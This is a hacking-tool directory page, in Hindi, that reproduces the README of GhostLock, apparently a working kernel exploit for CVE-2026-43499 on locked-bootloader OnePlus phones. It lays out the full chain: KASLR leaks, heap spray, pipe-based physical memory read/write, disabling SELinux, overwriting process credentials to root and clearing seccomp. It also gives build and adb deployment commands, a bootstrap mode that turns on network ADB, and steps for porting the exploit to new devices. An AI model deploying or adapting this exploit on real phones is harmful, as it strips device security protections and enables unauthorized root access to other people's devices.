Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/p2p3p/ghostlock-for-oneplus
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिशोषणपोस्ट-शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubp2p3p/ghostlock-for-oneplus

GhostLock-for-OnePlus

(CVE-2026-43499)कर्नेल एक्सप्लॉइट प्रोग्राम, अनलॉक न किए गए बूटलोडर वाले OnePlus डिवाइसों के लिए उपयुक्त।

रिपॉजिटरी देखें
3613191 महीना पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GhostLock — OnePlus

中文

लॉक्ड-बूटलोडर OnePlus डिवाइसों को लक्षित करने वाला कर्नेल एक्सप्लॉइट। CVE-2026-43499 का उपयोग करके बूटलोडर को अनलॉक किए बिना या boot.img को संशोधित किए बिना रूट एक्सेस प्राप्त करता है।

केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।


विषय-सूची

  • भेद्यता अवलोकन
  • समर्थित डिवाइस
  • पूर्वापेक्षाएँ
  • निर्माण
  • उपयोग
  • रन मोड
  • तकनीकी विवरण
  • फ़ाइल संरचना
  • नए डिवाइस जोड़ना
  • FAQ

भेद्यता अवलोकन

आइटमविवरण
CVECVE-2026-43499
प्रकारFutex PI (Priority Inheritance) Use-After-Free
दायराLinux कर्नेल 2.6.39 ~ 7.1
फिक्स हुआMainline 7.1 (कमिट 3bfdc63936dd)
Android स्थितिGKI 6.12.x अभी भी असुरक्षित

मूल कारण

pselect6 सिस्कॉल fd_set को कर्नेल स्टैक पर कॉपी करता है। जब इसे futex PI वेटर तंत्र के साथ जोड़ा जाता है, तो एक मुक्त स्टैक फ्रेम को rt_mutex_waiter स्ट्रक्चर के रूप में पुनः आवंटित किया जा सकता है। PI चेन ट्रैवर्सल के दौरान, rb-tree रीबैलेंसिंग नियंत्रित डेटा को मनमाने कर्नेल एड्रेसों पर लिखता है।

श्रृंखला

root@kitploit:~
futex PI UAF (CVE-2026-43499)
  ├─ Forge rt_mutex_waiter object
  ├─ Control kernel stack via pselect/select fd_set layout
  ├─ Trigger rt_mutex PI operation for arbitrary write
  ├─ Write 1: selinux_state.enforcing = 0
  └─ Write 2: cred → init_cred (uid=0, full capabilities)

समर्थित डिवाइस

डिवाइसकोडनेमSoCकर्नेलफ़र्मवेयरस्थिति
OnePlus Ace 6TPLR110SM8845 (Snapdragon 8s Elite)6.12.38-android16-5-...-ab14275539-4kColorOS 16.0.2.403✅ सत्यापित
OnePlus Ace 6TPLR110SM8845 (Snapdragon 8s Elite)6.12.38-android16-5-...-ab14552068-4kColorOS 16.0.8.301✅ सत्यापित
OnePlus 15PLK110SM8845 (Snapdragon 8s Elite)6.12.23-android16-5-...-ab14541642-4k—✅ सत्यापित

समान SoC परिवार, Android 16, या कर्नेल 6.12.x वाले अन्य OnePlus डिवाइसों को boot.img ऑफ़सेट निष्कर्षण के माध्यम से अनुकूलित किया जा सकता है।


पूर्वापेक्षाएँ

ksud (KernelSU के लिए आवश्यक)

GhostLock विशेषाधिकार एस्केलेशन संभालता है। KernelSU इंस्टॉलेशन के लिए ksud आवश्यक है (KMI-विशिष्ट kernelsu.ko के साथ बंडल):

स्रोतनोट्स
ReSukiSU APK (अनुशंसित)ReSukiSU इंस्टॉल करें; APK में libksud.so बंडल होता है
CI रिलीज़ReSukiSU CI से डाउनलोड करें (ksud-aarch64-linux-android.zip)

ksud के बिना, एक्सप्लॉइट फिर भी uid=0 रूट शेल प्राप्त करता है, लेकिन KernelSU इंस्टॉल नहीं होगा और su स्थायी नहीं रहेगा।


निर्माण

पूर्वापेक्षाएँ

  • Android NDK (r25+)
  • ANDROID_NDK_HOME या ANDROID_NDK_ROOT सेट करें

निर्माण

root@kitploit:~
# Default (API 35)
make

# Specify API level
make API=34

# Specify NDK path
NDK=/path/to/android-ndk make

आर्टिफैक्ट

ghostlock — स्टैटिक रूप से लिंक्ड ARM64 ELF एक्ज़ीक्यूटेबल।


उपयोग

एक-बार सेटअप

root@kitploit:~
# 1. Enable ADB TCP mode
adb tcpip 5555

# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e

पहली सफलता के बाद, resetprop स्वचालित रूप से persist.adb.tcp.port=5555 सेट करता है, जिससे बाद के रीबूटों पर पूर्णतः स्वचालित रन संभव हो जाते हैं।


रन मोड

फुल एक्सप्लॉइट (ADB शेल संदर्भ)

root@kitploit:~
/data/local/tmp/a/e
  • perf उपलब्ध, सटीक चाइल्ड task_struct लीकिंग
  • दो-चरणीय: W1 SELinux अक्षम करें → W2 विशेषाधिकार एस्केलेशन → KernelSU लोड

बूटस्ट्रैप मोड (ऐप संदर्भ, seccomp प्रतिबंधित)

root@kitploit:~
/data/local/tmp/a/e --bootstrap
  1. राइट 1 → SELinux अक्षम करें
  2. मुक्त अनुमतियों का उपयोग करके setprop से ADB TCP 5555 सक्षम करें
  3. बिल्ट-इन Mini ADB क्लाइंट 127.0.0.1:5555 से कनेक्ट होता है
  4. पहले से पुश की गई कुंजी के साथ RSA प्रमाणीकरण
  5. ADB शेल के माध्यम से फुल एक्सप्लॉइट निष्पादन (कोई seccomp नहीं)

केवल राइट 1

root@kitploit:~
/data/local/tmp/a/e --write1
  • अधिकतम 20 प्रयास
  • डिबगिंग या अस्थायी SELinux अक्षमीकरण के लिए उपयोगी

तकनीकी विवरण

1. रनटाइम कर्नेल मैचिंग

ऑफ़सेट src/devices/offsets.h लुकअप टेबल में संग्रहीत होते हैं, जो uname -r द्वारा कुंजीबद्ध होते हैं। प्रोग्राम स्टार्टअप पर स्वतः मैच करता है; अज्ञात कर्नेल अस्वीकार कर दिए जाते हैं।

root@kitploit:~
static const struct kernel_offsets known_offsets[] = {
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
  OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
  OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
  { .uname_r = NULL }  /* sentinel */
};

ऑफ़सेट स्रोत

प्रकारगिनतीनिष्कर्षण
kallsyms ग्लोबल सिंबल28tools/extract_target.py
BTF स्ट्रक्चर फ़ील्ड57tools/extract_btf.py
व्युत्पन्न मान9स्वतः-गणना
निश्चित स्थिरांक12हार्डकोडेड

BTF-सत्यापित स्ट्रक्चर

स्ट्रक्चरफ़ील्डउद्देश्य
task_struct17प्रोसेस डिस्क्रिप्टर, cred, seccomp
rt_mutex_waiter6UAF फोर्ज लक्ष्य
cred4क्रेडेंशियल, कैपेबिलिटीज़
seccomp3Seccomp फ़िल्टर स्थिति
pipe_inode_info11पाइप बफर संचालन
file_operations13नकली fops टेबल
mm_struct1मेमोरी डिस्क्रिप्टर स्वामी

2. KASLR बायपास

SLIDE मोड — boot_id लीक

जब कर्नेल पॉइंटर प्रतिबंधित हों (kptr_restrict), तो कर्नेल एड्रेस के साथ अधिलेखित boot_id के माध्यम से बेस एड्रेस लीक करें:

root@kitploit:~
Read /proc/sys/kernel/random/boot_id
  └─ UUID contains nfulnl_logger address
      └─ KASLR slide = leaked_addr - image_offset
          └─ kaslr_base

FOPS/CFI मोड — fops टेबल लीक

जब ashmem डिवाइस सुलभ हो, तो ashmem fops टेबल से फ़ंक्शन पॉइंटर पढ़ने और KASLR ऑफ़सेट की गणना करने के लिए configfs रीड/राइट प्रिमिटिव का उपयोग करें।

3. कर्नेल हीप स्प्रे

ऑर्डर-3 (32KB) पेजों पर कर्नेल ऑब्जेक्ट फोर्ज करें:

  • नकली file_operations — ashmem miscdevice fops पॉइंटर हाईजैक करें
  • नकली rt_mutex_waiter — PI चेन वेटर नोड का अनुकरण करें
  • नकली task_struct — PI ट्रैवर्सल के दौरान टास्क संदर्भ
  • नकली rt_mutex (लॉक) — सही वेटर/स्वामी जानकारी

SKB (सॉकेट बफर) + KernelSnitch के माध्यम से कार्यान्वित:

  • KernelSnitch — mm_struct एड्रेस लीक करने के लिए futex हैश कोलिजन
  • SKB स्प्रे — कर्नेल हीप भरने के लिए sendmsg

4. फिजिकल मेमोरी R/W (पाइप)

KASLR बेस प्राप्त करने के बाद, फिजिकल-स्तरीय मेमोरी एक्सेस के लिए पाइप बफर का उपयोग करें:

root@kitploit:~
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations

समर्थित: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data

5. दो-चरणीय राइट

राइट 1 — SELinux अक्षम करें

root@kitploit:~
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
        pointing to selinux_enforcing - 8
        rb-tree rebalance writes 0x00

राइट 2 — रूट तक एस्केलेट करें

root@kitploit:~
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
        2. calculate cred field offset
        3. child-node PI write → cred = init_cred (uid=0, full caps)
        4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)

cred अधिलेखन के बाद कैपेबिलिटी रीडबैक सत्यापन किया जाता है।

6. बिल्ट-इन Mini ADB क्लाइंट

src/core/miniadb.c — बूटस्ट्रैप मोड के लिए हल्का ADB प्रोटोकॉल क्लाइंट:

root@kitploit:~
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit

SHA-1 और SHA-256 सिग्नेचर एल्गोरिदम का समर्थन करता है।


फ़ाइल संरचना

root@kitploit:~
ghostlock-oneplus/
├── Makefile                        # Build configuration (NDK cross-compile)
├── README.md                       # Documentation
├── src/
│   ├── core/                       # Core exploit code
│   │   ├── main.c                  # Entry point: two-stage write + root shell
│   │   ├── fops.c                  # FOPS/CFI mode: pselect route, PI write, KASLR leak
│   │   ├── util.c                  # Utilities: heap spray, KASLR, kernel R/W primitives
│   │   ├── slide.c                 # SLIDE mode: boot_id KASLR leak + pselect route
│   │   ├── pipe.c                  # Pipe buffer physical memory R/W (physrw)
│   │   ├── root.c                  # Cred overwrite, seccomp clear, root child mgmt
│   │   ├── miniadb.c              # Built-in ADB client (TCP + RSA auth)
│   │   ├── common.h               # Global macros, structs, declarations, constants
│   │   ├── target.h               # Target memory layout / struct offsets / KASLR params
│   │   ├── offset.h               # Compile-time target config bridge (#include TARGET_CONFIG_H)
│   │   └── kernelsnitch/          # KernelSnitch — mm_struct address leak
│   │       ├── kernelsnitch.h     # Core algorithm: futex hash collision + brute-force
│   │       ├── futex_hash.h       # Futex hash function
│   │       ├── timeutils.h        # CPU timestamp measurement (RDTSC)
│   │       └── utils.h            # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│   └── devices/                   # Device offset tables
│       ├── offsets.h              # Aggregate all device offsets (lookup table + sentinel)
│       ├── ace6t/offsets.h        # OnePlus Ace 6T offsets (2 kernel versions)
│       └── op15/offsets.h         # OnePlus 15 offsets (1 kernel version)
└── tools/                         # Offset extraction toolchain
    ├── extract_target.py          # Extract kallsyms global symbol offsets (28 items)
    └── extract_btf.py             # Extract BTF struct field offsets (57 items)

कोर मॉड्यूल अवलोकन

मॉड्यूलफ़ाइल(एँ)ज़िम्मेदारी
एंट्रीmain.cCLI पार्सिंग, W1/W2 डिस्पैच, बूटस्ट्रैप फ्लो
PI रूटfops.c / slide.cpselect/select स्टैक लेआउट, futex PI चेन मैनिपुलेशन
KASLRutil.c / fops.c / slide.cडुअल-मोड बायपास: boot_id लीक + fops टेबल लीक
हीप स्प्रेutil.cऑर्डर-3 पेज आवंटन, SKB स्प्रे, फोर्ज ऑब्जेक्ट लेआउट
फिज R/Wpipe.cपाइप बफर हाईजैकिंग, मनमाना फिजिकल मेमोरी एक्सेस
प्रिव एस्कroot.ccred अधिलेखन, कैपेबिलिटी सत्यापन, seccomp क्लियर
ADBminiadb.cहल्का ADB प्रोटोकॉल क्लाइंट, RSA प्रमाणीकरण
लीक इंजनkernelsnitch/mm_struct स्थान के लिए futex हैश कोलिजन

नए डिवाइस जोड़ना

केवल लक्षित डिवाइस का boot.img आवश्यक है — कोई रूट या डिवाइस एक्सेस आवश्यक नहीं।

ऑफ़सेट निष्कर्षण

root@kitploit:~
# 1. Extract kernel from boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
           open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Get kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
#    Or from vmlinux: nm vmlinux > kallsyms.txt

# 3. Extract global symbol offsets
python tools/extract_target.py     # 28 offsets, auto-verified

# 4. Extract struct field offsets
python tools/extract_btf.py kernel  # 57 offsets, auto-verified

अनुकूलन चरण

  1. src/devices/<name>/offsets.h बनाएं (देखें ace6t/offsets.h)
  2. इसे src/devices/offsets.h में #include करें
  3. आवश्यकता होने पर src/core/target.h के KIMAGE_TEXT_BASE और मेमोरी लेआउट को अपडेट करें
  4. पुनः निर्माण करें

क्रॉस-डिवाइस ट्यूनिंग

आइटमनोट्स
VA_BITS48 बनाम 39 → target.h मेमोरी लेआउट अपडेट करें
टाइमिंगcommon.h में PSELECT_* पैरामीटर समायोजित करें
AshmemC बनाम Rust इम्प्लीमेंटेशन → extract_target.py सिंबल मैचिंग अपडेट करें
Secureguardगैर-OnePlus डिवाइसों पर डिप्लॉयमेंट सरल हो सकता है

FAQ

प्रश्न: चलाने पर कोई आउटपुट नहीं?

सुनिश्चित करें कि आप ADB शेल में चला रहे हैं। ऐप संदर्भ के लिए --bootstrap आवश्यक है।

प्रश्न: "इस कर्नेल के लिए कोई ऑफ़सेट नहीं"?

आपका कर्नेल संस्करण अभी तक समर्थित नहीं है। ऑफ़सेट निकालने और पुनः निर्माण करने के लिए नए डिवाइस जोड़ना का पालन करें।

प्रश्न: राइट 1 बार-बार विफल हो रहा है?

  • सही CPU कोर पर पिनिंग सुनिश्चित करें (CORE मैक्रो)
  • PSELECT_ENTER_DELAY_USEC टाइमिंग समायोजित करें
  • हस्तक्षेप करने वाली प्रक्रियाओं की जाँच करें

प्रश्न: राइट 2 में perf 0 लौटाता है?

  • जाँचें कि क्या seccomp perf_event_open को ब्लॉक करता है (ऐप संदर्भ में --bootstrap का उपयोग करें)
  • सत्यापित करें कि KASLR बायपास सफल रहा (kaslr_base मान्य है)

प्रश्न: KernelSU लोड नहीं हो रहा?

  • पुष्टि करें कि ksud मौजूद है और एक्ज़ीक्यूटेबल है
  • नेटवर्क पॉलिसी फ़ाइल अखंडता की जाँच करें (load_policy फिक्स)

लाइसेंस

केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।

टूल डाउनलोड करें